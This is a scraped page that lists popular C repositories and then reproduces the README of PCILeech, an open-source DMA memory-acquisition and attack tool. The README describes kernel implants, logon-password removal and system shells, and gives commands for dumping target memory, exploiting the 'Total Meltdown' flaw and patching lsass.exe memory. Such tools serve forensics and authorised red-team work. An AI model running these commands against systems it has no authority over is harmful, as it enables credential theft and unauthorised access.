|Project Name||Stars||Downloads||Repos Using This||Packages Using This||Most Recent Commit||Total Releases||Latest Release||Open Issues||License||Language|
|Pcileech||3,397||17 hours ago||20||agpl-3.0||C|
|Direct Memory Access (DMA) Attack Software|
|Os||2,557||2 years ago||21||gpl-3.0||C|
|Minoca operating system|
|Fromthetransistor||1,607||2 years ago||16|
|From the Transistor to the Web Browser, a rough outline for a 12 week course|
|Rtl8821cu||1,432||22 days ago||126||gpl-2.0||C|
|Realtek RTL8811CU/RTL8821CU USB Wi-Fi adapter driver for Linux|
|Helenos||1,228||a day ago||6||C|
|A portable microkernel-based multiserver operating system written from scratch.|
|Managarm||1,182||a month ago||135||mit||C++|
|Pragmatic microkernel-based OS with fully asynchronous I/O|
|Rtl8812au_8821au_linux||1,147||3 years ago||143||gpl-2.0||C|
|rtl8812AU_8821AU linux kernel driver for AC1200 (801.11ac) Wireless Dual-Band USB Adapter|
|Xone||1,108||3 months ago||12||gpl-2.0||C|
|Linux kernel driver for Xbox One and Xbox Series X|S accessories|
|Rtl88x2bu Linux Driver||978||3 months ago||92||gpl-2.0||C|
|Realtek RTL88x2BU WiFi USB Driver for Linux|
|Floppybird||793||3 years ago||1||mit||Assembly|
|Floppy Bird (OS)|
PCILeech uses PCIe hardware devices to read and write target system memory. This is achieved by using DMA over PCIe. No drivers are needed on the target system.
PCILeech also works without hardware together with a wide range of software memory acqusition methods supported by the LeechCore library - including capture of remote live memory using DumpIt or WinPmem. PCILeech also supports local capture of memory and a number of memory dump file formats.
PCILeech supports multiple memory acquisition devices. Both hardware and software based. USB3380 based hardware is only able to read 4GB of memory natively, but is able to read all memory if a kernel module (KMD) is first inserted into the target system kernel. FPGA based hardware, and software based methods, are able to read all memory.
PCILeech is capable of inserting a wide range of kernel implants into the targeted kernels - allowing for easy access to live ram and the file system via a "mounted drive". It is also possible to remove the logon password requirement, loading unsigned drivers, executing code and spawn system shells. PCIleech runs on Windows and Linux. Supported target systems are currently the x64 versions of: UEFI, Linux, FreeBSD and Windows. This requires write access to memory (USB3380 hardware, FPGA hardware, LiveCloudKd or CVE-2018-1038 "Total Meltdown").
To get going clone the sources in the repository or download the latest binaries, modules and configuration files.
The PushPin GUI frontend for PCILeech makes common RedTeam tasks super easy. Note that PushPin is not part of the official PCILeech distribution.
*) macOS High Sierra and above are not supported.
PCILeech supports both hardware based and software based memory acqusition methods. All memory acqusition is handled by the LeechCore library.
Please find a summary of the supported hardware based memory acquisition methods listed below. All hardware based memory acquisition methods are supported on both Windows and Linux. The FPGA based methods however sports a slight performance penalty on Linux and will max out at approx: 90MB/s compared to 150MB/s on Windows.
|Device||Type||Interface||Speed||64-bit memory access||PCIe TLP access||Plugin||Project
|Screamer PCIe Squirrel||FPGA||USB-C||190MB/s||Yes||Yes||No|
|DMA patched HP iLO||BMC||TCP||1MB/s||Yes||No||Yes|
Please find a summary of the supported software based memory acquisition methods listed below. Please note that the LeechService only provides a network connection to a remote LeechCore library. It's possible to use both hardware and software based memory acquisition once connected.
|RAW physical memory dump||File||No||No||Yes||No|
|Full Microsoft Crash Dump||File||No||No||Yes||No|
|Full ELF Core Dump||File||No||No||Yes||No|
|VMware memory save file||File||No||No||Yes||No|
|DumpIt /LIVEKD||Live Memory||Yes||No||No||No|
|Hyper-V Saved State||File||No||No||No||Yes|
Please ensure you do have the most recent version of PCILeech by visiting the PCILeech github repository at: ufrisk/pcileech
Get the latest binaries, modules and configuration files from the latest release. Alternatively clone the repository and build from source.
Please see the PCILeech on Windows guide for information about running PCILeech on Windows.
The Google Android USB driver have to be installed if USB3380 hardware is used. Download the Google Android USB driver from: http://developer.android.com/sdk/win-usb.html#download Unzip the driver.
FTDI drivers have to be installed if FPGA is used with FT601 USB3 addon card or PCIeScreamer. Download the 64-bit
FTD3XX.dll from FTDI and place it alongside
To mount live ram and target file system as drive in Windows the Dokany2 file system library must be installed. Please download and install the latest stable version of Dokany2 at: https://github.com/dokan-dev/dokany/releases/latest
Please see the PCILeech on Linux guide for information about running PCILeech on Linux.
Please see the project wiki pages for more examples. The wiki is in a buildup phase and information may still be missing.
Mount target system live RAM and file system, requires that a KMD is loaded. In this example 0x11abc000 is used.
pcileech.exe mount -kmd 0x11abc000
Show help for a specific kernel implant, in this case lx64_filepull kernel implant.
pcileech.exe lx64_filepull -help
Show help for the dump command.
pcileech.exe dump -help
Dump all memory from the target system given that a kernel module is loaded at address: 0x7fffe000.
pcileech.exe dump -kmd 0x7fffe000
Force dump memory below 4GB including accessible memory mapped devices using more stable USB2 approach on USB3380.
pcileech.exe dump -force -device usb3380://usb=2
Receive PCIe TLPs (Transaction Layer Packets) and print them on screen (correctly configured FPGA dev board required).
pcileech.exe tlp -vv -wait 1000
Probe/Enumerate the memory of the target system for readable memory pages and maximum memory. (FPGA hardware only).
Dump all memory between addresses min and max, don't stop on failed pages. Native access to 64-bit memory is only supported on FPGA hardware.
pcileech.exe dump -min 0x0 -max 0x21e5fffff -force
Dump all memory, try locate the memory map from the target system registry to avoid dumping potentially invalid memory which may freeze the target.
pcileech.exe dump -memmap auto
Force the usage of a specific device (instead of default auto detecting it). The pmem device is not auto detected.
pcileech.exe pagedisplay -min 0x1000 -device pmem
Dump remote memory from a remote LeechAgent using connection encrypted and mutually authenticated by kerberos.
pcileech.exe dump -device pmem -remote rpc://[email protected]
Execute the Python analysis script
find-rwx.py on a remote computer using the LeechAgent embedded Python environment.
pcileech.exe agent-execpy -in find-rwx.py -device pmem -remote rpc://[email protected]
Dump memory using the the reported "TotalMeltdown" Windows 7/2008R2 x64 PML4 page table permission vulnerability.
pcileech.exe dump -out memdump_win7.raw -device totalmeltdown -v -force
Insert a kernel module into a running Linux system remotely via a DMA patched HP iLO.
pcileech.exe kmdload -vvv -device -device RawTCP://127.0.0.1:8888 -kmd LINUX_X64_48
Patch virtual process memory of pid 432 (lsass.exe in this example).
pcileech.exe patch -pid 432 -sig unlock_win10x64.sig
The binaries are found in the releases section of this repository. If one wish to build an own version it is possible to do so. Please see the PCILeech on Windows or PCILeech on Linux for more information about building PCILeech. PCILeech is also dependant on LeechCore and optionally (for some extra functionality) on The Memory Process File System which must both be built separately.
PCILeech, MemProcFS and LeechCore are open source but not open contribution. PCILeech, MemProcFS and LeechCore offers a highly flexible plugin architecture that will allow for contributions in the form of plugins. If you wish to make a contribution, other than a plugin, to the core projects please contact me before starting to develop.
PCILeech and MemProcFS is free and open source!
I put a lot of time and energy into PCILeech and MemProcFS and related research to make this happen. Some aspects of the projects relate to hardware and I put quite some money into my projects and related research. If you think PCILeech and/or MemProcFS are awesome tools and/or if you had a use for them it's now possible to contribute by becoming a sponsor!
If you like what I've created with PCIleech and MemProcFS with regards to DMA, Memory Analysis and Memory Forensics and would like to give something back to support future development please consider becoming a sponsor at: sponsors/ufrisk
To all my sponsors, Thank You
All sponsorships are welcome, no matter how large or small.
leechcore.solibrary is now used instead. New devices include:
./pcileech mount /home/user/fusemnt/leechfs -kmd <your_kmd_address>